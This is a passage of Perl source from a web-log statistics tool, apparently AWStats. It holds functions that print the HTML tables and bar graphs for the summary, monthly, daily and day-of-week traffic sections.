indicators title row print "<tr>"; if ( $LogType eq 'W' || $LogType eq 'S' ) { print "<td bgcolor=\"#$color_TableBGTitle\"> </td>"; } if ( $ShowSummary =~ /U/i ) { print "<td width=\"$w%\" bgcolor=\"#$color_u\"" . Tooltip(2) . ">$Message[11]</td>"; } else { print "<td bgcolor=\"#$color_TableBGTitle\" width=\"20%\"> </td>"; } if ( $ShowSummary =~ /V/i ) { print "<td width=\"$w%\" bgcolor=\"#$color_v\"" . Tooltip(1) . ">$Message[10]</td>"; } else { print "<td bgcolor=\"#$color_TableBGTitle\" width=\"20%\"> </td>"; } if ( $ShowSummary =~ /P/i ) { print "<td width=\"$w%\" bgcolor=\"#$color_p\"" . Tooltip(3) . ">$Message[56]</td>"; } else { print "<td bgcolor=\"#$color_TableBGTitle\" width=\"20%\"> </td>"; } if ( $ShowSummary =~ /H/i ) { print "<td width=\"$w%\" bgcolor=\"#$color_h\"" . Tooltip(4) . ">$Message[57]</td>"; } else { print "<td bgcolor=\"#$color_TableBGTitle\" width=\"20%\"> </td>"; } if ( $ShowSummary =~ /B/i ) { print "<td width=\"$w%\" bgcolor=\"#$color_k\"" . Tooltip(5) . ">$Message[75]</td>"; } else { print "<td bgcolor=\"#$color_TableBGTitle\" width=\"20%\"> </td>"; } print "</tr>\n"; # Show main indicators values for viewed traffic print "<tr>"; if ( $LogType eq 'M' ) { print "<td class=\"aws\">$Message[165]</td>"; print "<td> <br /> </td>\n"; print "<td> <br /> </td>\n"; if ( $ShowSummary =~ /H/i ) { print "<td><b>".Format_Number($TotalHits)."</b>" . ( $LogType eq 'M' ? "" : "<br />($RatioHits " . lc( $Message[57] . "/" . $Message[12] ) . ")" ) . "</td>"; } else { print "<td> </td>"; } if ( $ShowSummary =~ /B/i ) { print "<td><b>" . Format_Bytes( int($TotalBytes) ) . "</b><br />($RatioBytes $Message[108]/" . $Message[ ( $LogType eq 'M' ? 149 : 12 ) ] . ")</td>"; } else { print "<td> </td>"; } } else { if ( $LogType eq 'W' || $LogType eq 'S' ) { print "<td class=\"aws\">$Message[160] *</td>"; } if ( $ShowSummary =~ /U/i ) { print "<td>" . ( $MonthRequired eq 'all' ? "<b><= ".Format_Number($TotalUnique)."</b><br />$Message[129]" : "<b>".Format_Number($TotalUnique)."</b><br /> " ) . "</td>"; } else { print "<td> </td>"; } if ( $ShowSummary =~ /V/i ) { print "<td><b>".Format_Number($TotalVisits)."</b><br />($RatioVisits $Message[52])</td>"; } else { print "<td> </td>"; } if ( $ShowSummary =~ /P/i ) { print "<td><b>".Format_Number($TotalPages)."</b><br />($RatioPages " . $Message[56] . "/" . $Message[12] . ")</td>"; } else { print "<td> </td>"; } if ( $ShowSummary =~ /H/i ) { print "<td><b>".Format_Number($TotalHits)."</b>" . ( $LogType eq 'M' ? "" : "<br />($RatioHits " . $Message[57] . "/" . $Message[12] . ")" ) . "</td>"; } else { print "<td> </td>"; } if ( $ShowSummary =~ /B/i ) { print "<td><b>" . Format_Bytes( int($TotalBytes) ) . "</b><br />($RatioBytes $Message[108]/" . $Message[ ( $LogType eq 'M' ? 149 : 12 ) ] . ")</td>"; } else { print "<td> </td>"; } } print "</tr>\n"; # Show main indicators values for not viewed traffic values if ( $LogType eq 'M' || $LogType eq 'W' || $LogType eq 'S' ) { print "<tr>"; if ( $LogType eq 'M' ) { print "<td class=\"aws\">$Message[166]</td>"; print "<td> <br /> </td>\n"; print "<td> <br /> </td>\n"; if ( $ShowSummary =~ /H/i ) { print "<td><b>".Format_Number($TotalNotViewedHits)."</b></td>"; } else { print "<td> </td>"; } if ( $ShowSummary =~ /B/i ) { print "<td><b>" . Format_Bytes( int($TotalNotViewedBytes) ) . "</b></td>"; } else { print "<td> </td>"; } } else { if ( $LogType eq 'W' || $LogType eq 'S' ) { print "<td class=\"aws\">$Message[161] *</td>"; } print "<td colspan=\"2\"> <br /> </td>\n"; if ( $ShowSummary =~ /P/i ) { print "<td><b>".Format_Number($TotalNotViewedPages)."</b></td>"; } else { print "<td> </td>"; } if ( $ShowSummary =~ /H/i ) { print "<td><b>".Format_Number($TotalNotViewedHits)."</b></td>"; } else { print "<td> </td>"; } if ( $ShowSummary =~ /B/i ) { print "<td><b>" . Format_Bytes( int($TotalNotViewedBytes) ) . "</b></td>"; } else { print "<td> </td>"; } } print "</tr>\n"; } &tab_end($LogType eq 'W' || $LogType eq 'S' ? "* $Message[159]" : "" ); } #------------------------------------------------------------------------------ # Function: Prints the Monthly section on the main page # Parameters: _ # Input: _ # Output: HTML # Return: - #------------------------------------------------------------------------------ sub HTMLMainMonthly{ if ($Debug) { debug( "ShowMonthStats", 2 ); } print "$Center<a name=\"month\"> </a><br />\n"; my $title = "$Message[162]"; &tab_head( "$title", 0, 0, 'month' ); print "<tr><td align=\"center\">\n"; print "<center>\n"; my $average_nb = my $average_u = my $average_v = my $average_p = 0; my $average_h = my $average_k = 0; my $total_u = my $total_v = my $total_p = my $total_h = my $total_k = 0; my $max_v = my $max_p = my $max_h = my $max_k = 1; # Define total and max for ( my $ix = 1 ; $ix <= 12 ; $ix++ ) { my $monthix = sprintf( "%02s", $ix ); $total_u += $MonthUnique{ $YearRequired . $monthix } || 0; $total_v += $MonthVisits{ $YearRequired . $monthix } || 0; $total_p += $MonthPages{ $YearRequired . $monthix } || 0; $total_h += $MonthHits{ $YearRequired . $monthix } || 0; $total_k += $MonthBytes{ $YearRequired . $monthix } || 0; #if (($MonthUnique{$YearRequired.$monthix}||0) > $max_v) { $max_v=$MonthUnique{$YearRequired.$monthix}; } if ( ( $MonthVisits{ $YearRequired . $monthix } || 0 ) > $max_v ) { $max_v = $MonthVisits{ $YearRequired . $monthix }; } #if (($MonthPages{$YearRequired.$monthix}||0) > $max_p) { $max_p=$MonthPages{$YearRequired.$monthix}; } if ( ( $MonthHits{ $YearRequired . $monthix } || 0 ) > $max_h ) { $max_h = $MonthHits{ $YearRequired . $monthix }; } if ( ( $MonthBytes{ $YearRequired . $monthix } || 0 ) > $max_k ) { $max_k = $MonthBytes{ $YearRequired . $monthix }; } } # Define average # TODO # Show bars for month my $graphdone=0; foreach my $pluginname ( keys %{ $PluginsLoaded{'ShowGraph'} } ) { my @blocklabel = (); for ( my $ix = 1 ; $ix <= 12 ; $ix++ ) { my $monthix = sprintf( "%02s", $ix ); push @blocklabel, "$MonthNumLib{$monthix}\n$YearRequired"; } my @vallabel = ( "$Message[11]", "$Message[10]", "$Message[56]", "$Message[57]", "$Message[75]" ); my @valcolor = ( "$color_u", "$color_v", "$color_p", "$color_h", "$color_k" ); my @valmax = ( $max_v, $max_v, $max_h, $max_h, $max_k ); my @valtotal = ( $total_u, $total_v, $total_p, $total_h, $total_k ); my @valaverage = (); #my @valaverage=($average_v,$average_p,$average_h,$average_k); my @valdata = (); my $xx = 0; for ( my $ix = 1 ; $ix <= 12 ; $ix++ ) { my $monthix = sprintf( "%02s", $ix ); $valdata[ $xx++ ] = $MonthUnique{ $YearRequired . $monthix } || 0; $valdata[ $xx++ ] = $MonthVisits{ $YearRequired . $monthix } || 0; $valdata[ $xx++ ] = $MonthPages{ $YearRequired . $monthix } || 0; $valdata[ $xx++ ] = $MonthHits{ $YearRequired . $monthix } || 0; $valdata[ $xx++ ] = $MonthBytes{ $YearRequired . $monthix } || 0; } my $function = "ShowGraph_$pluginname"; &$function( "$title", "month", $ShowMonthStats, \@blocklabel, \@vallabel, \@valcolor, \@valmax, \@valtotal, \@valaverage, \@valdata ); $graphdone=1; } if (! $graphdone) { print "<table>\n"; print "<tr valign=\"bottom\">"; print "<td> </td>\n"; for ( my $ix = 1 ; $ix <= 12 ; $ix++ ) { my $monthix = sprintf( "%02s", $ix ); my $bredde_u = 0; my $bredde_v = 0; my $bredde_p = 0; my $bredde_h = 0; my $bredde_k = 0; if ( $max_v > 0 ) { $bredde_u = int( ( $MonthUnique{ $YearRequired . $monthix } || 0 ) / $max_v * $BarHeight ) + 1; } if ( $max_v > 0 ) { $bredde_v = int( ( $MonthVisits{ $YearRequired . $monthix } || 0 ) / $max_v * $BarHeight ) + 1; } if ( $max_h > 0 ) { $bredde_p = int( ( $MonthPages{ $YearRequired . $monthix } || 0 ) / $max_h * $BarHeight ) + 1; } if ( $max_h > 0 ) { $bredde_h = int( ( $MonthHits{ $YearRequired . $monthix } || 0 ) / $max_h * $BarHeight ) + 1; } if ( $max_k > 0 ) { $bredde_k = int( ( $MonthBytes{ $YearRequired . $monthix } || 0 ) / $max_k * $BarHeight ) + 1; } print "<td>"; if ( $ShowMonthStats =~ /U/i ) { print "<img align=\"bottom\" src=\"$DirIcons\/other\/$BarPng{'vu'}\" height=\"$bredde_u\" width=\"6\"" . AltTitle( "$Message[11]: " . ( $MonthUnique{ $YearRequired . $monthix } || 0 ) ) . " />"; } if ( $ShowMonthStats =~ /V/i ) { print "<img align=\"bottom\" src=\"$DirIcons\/other\/$BarPng{'vv'}\" height=\"$bredde_v\" width=\"6\"" . AltTitle( "$Message[10]: " . ( $MonthVisits{ $YearRequired . $monthix } || 0 ) ) . " />"; } if ( $ShowMonthStats =~ /P/i ) { print "<img align=\"bottom\" src=\"$DirIcons\/other\/$BarPng{'vp'}\" height=\"$bredde_p\" width=\"6\"" . AltTitle( "$Message[56]: " . ( $MonthPages{ $YearRequired . $monthix } || 0 ) ) . " />"; } if ( $ShowMonthStats =~ /H/i ) { print "<img align=\"bottom\" src=\"$DirIcons\/other\/$BarPng{'vh'}\" height=\"$bredde_h\" width=\"6\"" . AltTitle( "$Message[57]: " . ( $MonthHits{ $YearRequired . $monthix } || 0 ) ) . " />"; } if ( $ShowMonthStats =~ /B/i ) { print "<img align=\"bottom\" src=\"$DirIcons\/other\/$BarPng{'vk'}\" height=\"$bredde_k\" width=\"6\"" . AltTitle( "$Message[75]: " . Format_Bytes( $MonthBytes{ $YearRequired . $monthix } ) ) . " />"; } print "</td>\n"; } print "<td> </td>"; print "</tr>\n"; # Show lib for month print "<tr valign=\"middle\">"; #if (!$StaticLinks) { # print "<td><a href=\"".XMLEncode("$AWScript${NewLinkParams}month=12&year=".($YearRequired-1))."\"><<</a></td>"; #} #else { print "<td> </td>"; # } for ( my $ix = 1 ; $ix <= 12 ; $ix++ ) { my $monthix = sprintf( "%02s", $ix ); # if (!$StaticLinks) { # print "<td><a href=\"".XMLEncode("$AWScript${NewLinkParams}month=$monthix&year=$YearRequired")."\">$MonthNumLib{$monthix}<br />$YearRequired</a></td>"; # } # else { print "<td>" . ( !$StaticLinks && $monthix == $nowmonth && $YearRequired == $nowyear ? '<span class="currentday">' : '' ); print "$MonthNumLib{$monthix}<br />$YearRequired"; print( !$StaticLinks && $monthix == $nowmonth && $YearRequired == $nowyear ? '</span>' : '' ); print "</td>"; # } } # if (!$StaticLinks) { # print "<td><a href=\"".XMLEncode("$AWScript${NewLinkParams}month=1&year=".($YearRequired+1))."\">>></a></td>"; # } # else { print "<td> </td>"; # } print "</tr>\n"; print "</table>\n"; } print "<br />\n"; # Show data array for month if ($AddDataArrayMonthStats) { print "<table>\n"; print "<tr><td width=\"80\" bgcolor=\"#$color_TableBGRowTitle\">$Message[5]</td>"; if ( $ShowMonthStats =~ /U/i ) { print "<td width=\"80\" bgcolor=\"#$color_u\"" . Tooltip(2) . ">$Message[11]</td>"; } if ( $ShowMonthStats =~ /V/i ) { print "<td width=\"80\" bgcolor=\"#$color_v\"" . Tooltip(1) . ">$Message[10]</td>"; } if ( $ShowMonthStats =~ /P/i ) { print "<td width=\"80\" bgcolor=\"#$color_p\"" . Tooltip(3) . ">$Message[56]</td>"; } if ( $ShowMonthStats =~ /H/i ) { print "<td width=\"80\" bgcolor=\"#$color_h\"" . Tooltip(4) . ">$Message[57]</td>"; } if ( $ShowMonthStats =~ /B/i ) { print "<td width=\"80\" bgcolor=\"#$color_k\"" . Tooltip(5) . ">$Message[75]</td>"; } print "</tr>\n"; for ( my $ix = 1 ; $ix <= 12 ; $ix++ ) { my $monthix = sprintf( "%02s", $ix ); print "<tr>"; print "<td>" . ( !$StaticLinks && $monthix == $nowmonth && $YearRequired == $nowyear ? '<span class="currentday">' : '' ); print "$MonthNumLib{$monthix} $YearRequired"; print( !$StaticLinks && $monthix == $nowmonth && $YearRequired == $nowyear ? '</span>' : '' ); print "</td>"; if ( $ShowMonthStats =~ /U/i ) { print "<td>", Format_Number($MonthUnique{ $YearRequired . $monthix } ? $MonthUnique{ $YearRequired . $monthix } : "0"), "</td>"; } if ( $ShowMonthStats =~ /V/i ) { print "<td>", Format_Number($MonthVisits{ $YearRequired . $monthix } ? $MonthVisits{ $YearRequired . $monthix } : "0"), "</td>"; } if ( $ShowMonthStats =~ /P/i ) { print "<td>", Format_Number($MonthPages{ $YearRequired . $monthix } ? $MonthPages{ $YearRequired . $monthix } : "0"), "</td>"; } if ( $ShowMonthStats =~ /H/i ) { print "<td>", Format_Number($MonthHits{ $YearRequired . $monthix } ? $MonthHits{ $YearRequired . $monthix } : "0"), "</td>"; } if ( $ShowMonthStats =~ /B/i ) { print "<td>", Format_Bytes( int( $MonthBytes{ $YearRequired . $monthix } || 0 ) ), "</td>"; } print "</tr>\n"; } # Average row # TODO # Total row print "<tr><td bgcolor=\"#$color_TableBGRowTitle\">$Message[102]</td>"; if ( $ShowMonthStats =~ /U/i ) { print "<td bgcolor=\"#$color_TableBGRowTitle\">".Format_Number($total_u)."</td>"; } if ( $ShowMonthStats =~ /V/i ) { print "<td bgcolor=\"#$color_TableBGRowTitle\">".Format_Number($total_v)."</td>"; } if ( $ShowMonthStats =~ /P/i ) { print "<td bgcolor=\"#$color_TableBGRowTitle\">".Format_Number($total_p)."</td>"; } if ( $ShowMonthStats =~ /H/i ) { print "<td bgcolor=\"#$color_TableBGRowTitle\">".Format_Number($total_h)."</td>"; } if ( $ShowMonthStats =~ /B/i ) { print "<td bgcolor=\"#$color_TableBGRowTitle\">" . Format_Bytes($total_k) . "</td>"; } print "</tr>\n"; print "</table>\n<br />\n"; } print "</center>\n"; print "</td></tr>\n"; &tab_end(); } #------------------------------------------------------------------------------ # Function: Prints the Daily section on the main page # Parameters: $firstdaytocountaverage, $lastdaytocountaverage # $firstdaytoshowtime, $lastdaytoshowtime # Input: _ # Output: HTML # Return: - #------------------------------------------------------------------------------ sub HTMLMainDaily{ my $firstdaytocountaverage = shift; my $lastdaytocountaverage = shift; my $firstdaytoshowtime = shift; my $lastdaytoshowtime = shift; if ($Debug) { debug( "ShowDaysOfMonthStats", 2 ); } print "$Center<a name=\"daysofmonth\"> </a><br />\n"; my $NewLinkParams = ${QueryString}; $NewLinkParams =~ s/(^|&|&)update(=\w*|$)//i; $NewLinkParams =~ s/(^|&|&)staticlinks(=\w*|$)//i; $NewLinkParams =~ s/(^|&|&)year=[^&]*//i; $NewLinkParams =~ s/(^|&|&)month=[^&]*//i; $NewLinkParams =~ s/(^|&|&)framename=[^&]*//i; $NewLinkParams =~ s/(&|&)+/&/i; $NewLinkParams =~ s/^&//; $NewLinkParams =~ s/&$//; if ($NewLinkParams) { $NewLinkParams = "${NewLinkParams}&"; } my $NewLinkTarget = ''; if ( $FrameName eq 'mainright' ) { $NewLinkTarget = " target=\"_parent\""; } my $title = "$Message[138]"; if ($AddLinkToExternalCGIWrapper && ($ENV{'GATEWAY_INTERFACE'} || !$StaticLinks) ) { # extend the title to include the added link $title = "$title   -   <a href=\"".(XMLEncode( "$AddLinkToExternalCGIWrapper". "?section=DAY&baseName=$DirData/$PROG" . "&month=$MonthRequired&year=$YearRequired&day=$DayRequired" . "&siteConfig=$SiteConfig" ) . "\"$NewLinkTarget>$Message[179]</a>"); } &tab_head( "$title", 0, 0, 'daysofmonth' ); print "<tr>"; print "<td align=\"center\">\n"; print "<center>\n"; my $average_v = my $average_p = 0; my $average_h = my $average_k = 0; my $total_u = my $total_v = my $total_p = my $total_h = my $total_k = 0; my $max_v = my $max_h = my $max_k = 0; # Start from 0 because can be lower than 1 foreach my $daycursor ( $firstdaytoshowtime .. $lastdaytoshowtime ) { $daycursor =~ /^(\d\d\d\d)(\d\d)(\d\d)/; my $year = $1; my $month = $2; my $day = $3; if ( !DateIsValid( $day, $month, $year ) ) { next; } # If not an existing day, go to next $total_v += $DayVisits{ $year . $month . $day } || 0; $total_p += $DayPages{ $year . $month . $day } || 0; $total_h += $DayHits{ $year . $month . $day } || 0; $total_k += $DayBytes{ $year . $month . $day } || 0; if ( ( $DayVisits{ $year . $month . $day } || 0 ) > $max_v ) { $max_v = $DayVisits{ $year . $month . $day }; } #if (($DayPages{$year.$month.$day}||0) > $max_p) { $max_p=$DayPages{$year.$month.$day}; } if ( ( $DayHits{ $year . $month . $day } || 0 ) > $max_h ) { $max_h = $DayHits{ $year . $month . $day }; } if ( ( $DayBytes{ $year . $month . $day } || 0 ) > $max_k ) { $max_k = $DayBytes{ $year . $month . $day }; } } $average_v = sprintf( "%.2f", $AverageVisits ); $average_p = sprintf( "%.2f", $AveragePages ); $average_h = sprintf( "%.2f", $AverageHits ); $average_k = sprintf( "%.2f", $AverageBytes ); # Show bars for day my $graphdone=0; foreach my $pluginname ( keys %{ $PluginsLoaded{'ShowGraph'} } ) { my @blocklabel = (); foreach my $daycursor ( $firstdaytoshowtime .. $lastdaytoshowtime ) { $daycursor =~ /^(\d\d\d\d)(\d\d)(\d\d)/; my $year = $1; my $month = $2; my $day = $3; if ( !DateIsValid( $day, $month, $year ) ) { next; } # If not an existing day, go to next my $bold = ( $day == $nowday && $month == $nowmonth && $year == $nowyear ? ':' : '' ); my $weekend = ( DayOfWeek( $day, $month, $year ) =~ /[06]/ ? '!' : '' ); push @blocklabel, "$day\n$MonthNumLib{$month}$weekend$bold"; } my @vallabel = ( "$Message[10]", "$Message[56]", "$Message[57]", "$Message[75]" ); my @valcolor = ( "$color_v", "$color_p", "$color_h", "$color_k" ); my @valmax = ( $max_v, $max_h, $max_h, $max_k ); my @valtotal = ( $total_v, $total_p, $total_h, $total_k ); my @valaverage = ( $average_v, $average_p, $average_h, $average_k ); my @valdata = (); my $xx = 0; foreach my $daycursor ( $firstdaytoshowtime .. $lastdaytoshowtime ) { $daycursor =~ /^(\d\d\d\d)(\d\d)(\d\d)/; my $year = $1; my $month = $2; my $day = $3; if ( !DateIsValid( $day, $month, $year ) ) { next; } # If not an existing day, go to next $valdata[ $xx++ ] = $DayVisits{ $year . $month . $day } || 0; $valdata[ $xx++ ] = $DayPages{ $year . $month . $day } || 0; $valdata[ $xx++ ] = $DayHits{ $year . $month . $day } || 0; $valdata[ $xx++ ] = $DayBytes{ $year . $month . $day } || 0; } my $function = "ShowGraph_$pluginname"; &$function( "$title", "daysofmonth", $ShowDaysOfMonthStats, \@blocklabel, \@vallabel, \@valcolor, \@valmax, \@valtotal, \@valaverage, \@valdata ); $graphdone=1; } # If graph was not printed by a plugin if (! $graphdone) { print "<table>\n"; print "<tr valign=\"bottom\">\n"; foreach my $daycursor ( $firstdaytoshowtime .. $lastdaytoshowtime ) { $daycursor =~ /^(\d\d\d\d)(\d\d)(\d\d)/; my $year = $1; my $month = $2; my $day = $3; if ( !DateIsValid( $day, $month, $year ) ) { next; } # If not an existing day, go to next my $bredde_v = 0; my $bredde_p = 0; my $bredde_h = 0; my $bredde_k = 0; if ( $max_v > 0 ) { $bredde_v = int( ( $DayVisits{ $year . $month . $day } || 0 ) / $max_v * $BarHeight ) + 1; } if ( $max_h > 0 ) { $bredde_p = int( ( $DayPages{ $year . $month . $day } || 0 ) / $max_h * $BarHeight ) + 1; } if ( $max_h > 0 ) { $bredde_h = int( ( $DayHits{ $year . $month . $day } || 0 ) / $max_h * $BarHeight ) + 1; } if ( $max_k > 0 ) { $bredde_k = int( ( $DayBytes{ $year . $month . $day } || 0 ) / $max_k * $BarHeight ) + 1; } print "<td>"; if ( $ShowDaysOfMonthStats =~ /V/i ) { print "<img align=\"bottom\" src=\"$DirIcons\/other\/$BarPng{'vv'}\" height=\"$bredde_v\" width=\"4\"" . AltTitle( "$Message[10]: " . int( $DayVisits{ $year . $month . $day } || 0 ) ) . " />"; } if ( $ShowDaysOfMonthStats =~ /P/i ) { print "<img align=\"bottom\" src=\"$DirIcons\/other\/$BarPng{'vp'}\" height=\"$bredde_p\" width=\"4\"" . AltTitle( "$Message[56]: " . int( $DayPages{ $year . $month . $day } || 0 ) ) . " />"; } if ( $ShowDaysOfMonthStats =~ /H/i ) { print "<img align=\"bottom\" src=\"$DirIcons\/other\/$BarPng{'vh'}\" height=\"$bredde_h\" width=\"4\"" . AltTitle( "$Message[57]: " . int( $DayHits{ $year . $month . $day } || 0 ) ) . " />"; } if ( $ShowDaysOfMonthStats =~ /B/i ) { print "<img align=\"bottom\" src=\"$DirIcons\/other\/$BarPng{'vk'}\" height=\"$bredde_k\" width=\"4\"" . AltTitle( "$Message[75]: " . Format_Bytes( $DayBytes{ $year . $month . $day } ) ) . " />"; } print "</td>\n"; } print "<td> </td>"; # Show average value bars print "<td>"; my $bredde_v = 0; my $bredde_p = 0; my $bredde_h = 0; my $bredde_k = 0; if ( $max_v > 0 ) { $bredde_v = int( $average_v / $max_v * $BarHeight ) + 1; } if ( $max_h > 0 ) { $bredde_p = int( $average_p / $max_h * $BarHeight ) + 1; } if ( $max_h > 0 ) { $bredde_h = int( $average_h / $max_h * $BarHeight ) + 1; } if ( $max_k > 0 ) { $bredde_k = int( $average_k / $max_k * $BarHeight ) + 1; } $average_v = sprintf( "%.2f", $average_v ); $average_p = sprintf( "%.2f", $average_p ); $average_h = sprintf( "%.2f", $average_h ); $average_k = sprintf( "%.2f", $average_k ); if ( $ShowDaysOfMonthStats =~ /V/i ) { print "<img align=\"bottom\" src=\"$DirIcons\/other\/$BarPng{'vv'}\" height=\"$bredde_v\" width=\"4\"" . AltTitle("$Message[10]: $average_v") . " />"; } if ( $ShowDaysOfMonthStats =~ /P/i ) { print "<img align=\"bottom\" src=\"$DirIcons\/other\/$BarPng{'vp'}\" height=\"$bredde_p\" width=\"4\"" . AltTitle("$Message[56]: $average_p") . " />"; } if ( $ShowDaysOfMonthStats =~ /H/i ) { print "<img align=\"bottom\" src=\"$DirIcons\/other\/$BarPng{'vh'}\" height=\"$bredde_h\" width=\"4\"" . AltTitle("$Message[57]: $average_h") . " />"; } if ( $ShowDaysOfMonthStats =~ /B/i ) { print "<img align=\"bottom\" src=\"$DirIcons\/other\/$BarPng{'vk'}\" height=\"$bredde_k\" width=\"4\"" . AltTitle("$Message[75]: $average_k") . " />"; } print "</td>\n"; print "</tr>\n"; # Show lib for day print "<tr valign=\"middle\">"; foreach my $daycursor ( $firstdaytoshowtime .. $lastdaytoshowtime ) { $daycursor =~ /^(\d\d\d\d)(\d\d)(\d\d)/; my $year = $1; my $month = $2; my $day = $3; if ( !DateIsValid( $day, $month, $year ) ) { next; } # If not an existing day, go to next my $dayofweekcursor = DayOfWeek( $day, $month, $year ); print "<td" . ( $dayofweekcursor =~ /[06]/ ? " bgcolor=\"#$color_weekend\"" : "" ) . ">"; print( !$StaticLinks && $day == $nowday && $month == $nowmonth && $year == $nowyear ? '<span class="currentday">' : '' ); print "$day<br /><span style=\"font-size: " . ( $FrameName ne 'mainright' && $QueryString !~ /buildpdf/i ? "9" : "8" ) . "px;\">" . $MonthNumLib{$month} . "</span>"; print( !$StaticLinks && $day == $nowday && $month == $nowmonth && $year == $nowyear ? '</span>' : '' ); print "</td>\n"; } print "<td> </td>"; print "<td valign=\"middle\"" . Tooltip(18) . ">$Message[96]</td>\n"; print "</tr>\n"; print "</table>\n"; } print "<br />\n"; # Show data array for days if ($AddDataArrayShowDaysOfMonthStats) { print "<table>\n"; print "<tr><td width=\"80\" bgcolor=\"#$color_TableBGRowTitle\">$Message[4]</td>"; if ( $ShowDaysOfMonthStats =~ /V/i ) { print "<td width=\"80\" bgcolor=\"#$color_v\"" . Tooltip(1) . ">$Message[10]</td>"; } if ( $ShowDaysOfMonthStats =~ /P/i ) { print "<td width=\"80\" bgcolor=\"#$color_p\"" . Tooltip(3) . ">$Message[56]</td>"; } if ( $ShowDaysOfMonthStats =~ /H/i ) { print "<td width=\"80\" bgcolor=\"#$color_h\"" . Tooltip(4) . ">$Message[57]</td>"; } if ( $ShowDaysOfMonthStats =~ /B/i ) { print "<td width=\"80\" bgcolor=\"#$color_k\"" . Tooltip(5) . ">$Message[75]</td>"; } print "</tr>"; foreach my $daycursor ( $firstdaytoshowtime .. $lastdaytoshowtime ) { $daycursor =~ /^(\d\d\d\d)(\d\d)(\d\d)/; my $year = $1; my $month = $2; my $day = $3; if ( !DateIsValid( $day, $month, $year ) ) { next; } # If not an existing day, go to next my $dayofweekcursor = DayOfWeek( $day, $month, $year ); print "<tr" . ( $dayofweekcursor =~ /[06]/ ? " bgcolor=\"#$color_weekend\"" : "" ) . ">"; print "<td>" . ( !$StaticLinks && $day == $nowday && $month == $nowmonth && $year == $nowyear ? '<span class="currentday">' : '' ); print Format_Date( "$year$month$day" . "000000", 2 ); print( !$StaticLinks && $day == $nowday && $month == $nowmonth && $year == $nowyear ? '</span>' : '' ); print "</td>"; if ( $ShowDaysOfMonthStats =~ /V/i ) { print "<td>", Format_Number($DayVisits{ $year . $month . $day } ? $DayVisits{ $year . $month . $day } : "0"), "</td>"; } if ( $ShowDaysOfMonthStats =~ /P/i ) { print "<td>", Format_Number($DayPages{ $year . $month . $day } ? $DayPages{ $year . $month . $day } : "0"), "</td>"; } if ( $ShowDaysOfMonthStats =~ /H/i ) { print "<td>", Format_Number($DayHits{ $year . $month . $day } ? $DayHits{ $year . $month . $day } : "0"), "</td>"; } if ( $ShowDaysOfMonthStats =~ /B/i ) { print "<td>", Format_Bytes( int( $DayBytes{ $year . $month . $day } || 0 ) ), "</td>"; } print "</tr>\n"; } # Average row print "<tr bgcolor=\"#$color_TableBGRowTitle\"><td>$Message[96]</td>"; if ( $ShowDaysOfMonthStats =~ /V/i ) { print "<td>".Format_Number(int($average_v))."</td>"; } if ( $ShowDaysOfMonthStats =~ /P/i ) { print "<td>".Format_Number(int($average_p))."</td>"; } if ( $ShowDaysOfMonthStats =~ /H/i ) { print "<td>".Format_Number(int($average_h))."</td>"; } if ( $ShowDaysOfMonthStats =~ /B/i ) { print "<td>".Format_Bytes(int($average_k))."</td>"; } print "</tr>\n"; # Total row print "<tr bgcolor=\"#$color_TableBGRowTitle\"><td>$Message[102]</td>"; if ( $ShowDaysOfMonthStats =~ /V/i ) { print "<td>".Format_Number($total_v)."</td>"; } if ( $ShowDaysOfMonthStats =~ /P/i ) { print "<td>".Format_Number($total_p)."</td>"; } if ( $ShowDaysOfMonthStats =~ /H/i ) { print "<td>".Format_Number($total_h)."</td>"; } if ( $ShowDaysOfMonthStats =~ /B/i ) { print "<td>" . Format_Bytes($total_k) . "</td>"; } print "</tr>\n"; print "</table>\n<br />"; } print "</center>\n"; print "</td></tr>\n"; &tab_end(); } #------------------------------------------------------------------------------ # Function: Prints the Days of the Week section on the main page # Parameters: $firstdaytocountaverage, $lastdaytocountaverage # Input: _ # Output: HTML # Return: - #------------------------------------------------------------------------------ sub HTMLMainDaysofWeek{ my $firstdaytocountaverage = shift; my $lastdaytocountaverage = shift; my $NewLinkParams = shift; my $NewLinkTarget = shift; if ($Debug) { debug( "ShowDaysOfWeekStats", 2 ); } print "$Center<a name=\"daysofweek\"> </a><br />\n"; my $title = "$Message[91]"; &tab_head( "$title", 18, 0, 'daysofweek' ); print "<tr>"; print "<td align=\"center\">"; print "<center>\n"; my $max_h = my $max_k = 0; # Start from 0 because can be lower than 1 # Get average value for day of week my @avg_dayofweek_nb = (); my @avg_dayofweek_p = (); my @avg_dayofweek_h = (); my @avg_dayofweek_k = (); foreach my $daycursor ( $firstdaytocountaverage .. $lastdaytocountaverage ) { $daycursor =~ /^(\d\d\d\d)(\d\d)(\d\d)/; my $year = $1; my $month = $2; my $day = $3; if ( !DateIsValid( $day, $month, $year ) ) { next; } # If not an existing day, go to next my $dayofweekcursor = DayOfWeek( $day, $month, $year ); $avg_dayofweek_nb[$dayofweekcursor] ++; # Increase number of day used to count for this day of week $avg_dayofweek_p[$dayofweekcursor] += ( $DayPages{$daycursor} || 0 ); $avg_dayofweek_h[$dayofweekcursor] += ( $DayHits{$daycursor} || 0 ); $avg_dayofweek_k[$dayofweekcursor] += ( $DayBytes{$daycursor} || 0 ); } for (@DOWIndex) { if ( $avg_dayofweek_nb[$_] ) { $avg_dayofweek_p[$_] = $avg_dayofweek_p[$_] / $avg_dayofweek_nb[$_]; $avg_dayofweek_h[$_] = $avg_dayofweek_h[$_] / $avg_dayofweek_nb[$_]; $avg_dayofweek_k[$_] = $avg_dayofweek_k[$_] / $avg_dayofweek_nb[$_]; #if ($avg_dayofweek_p[$_] > $max_p) { $max_p = $avg_dayofweek_p[$_]; } if ( $avg_dayofweek_h[$_] > $max_h ) { $max_h = $avg_dayofweek_h[$_]; } if ( $avg_dayofweek_k[$_] > $max_k ) { $max_k = $avg_dayofweek_k[$_]; } } else { $avg_dayofweek_p[$_] = "?"; $avg_dayofweek_h[$_] = "?"; $avg_dayofweek_k[$_] = "?"; } } # Show bars for days of week my $graphdone=0; foreach my $pluginname ( keys %{ $PluginsLoaded{'ShowGraph'} } ) { my @blocklabel = (); for (@DOWIndex) { push @blocklabel, ( $Message[ $_ + 84 ] . ( $_ =~ /[06]/ ? "!" : "" ) ); } my @vallabel = ( "$Message[56]", "$Message[57]", "$Message[75]" ); my @valcolor = ( "$color_p", "$color_h", "$color_k" ); my @valmax = ( int($max_h), int($max_h), int($max_k) ); my @valtotal = ( $TotalPages, $TotalHits, $TotalBytes ); # TEMP my $average_p = my $average_h = my $average_k = 0; $average_p = sprintf( "%.2f", $AveragePages ); $average_h = sprintf( "%.2f", $AverageHits ); $average_k = ( int($average_k) ? 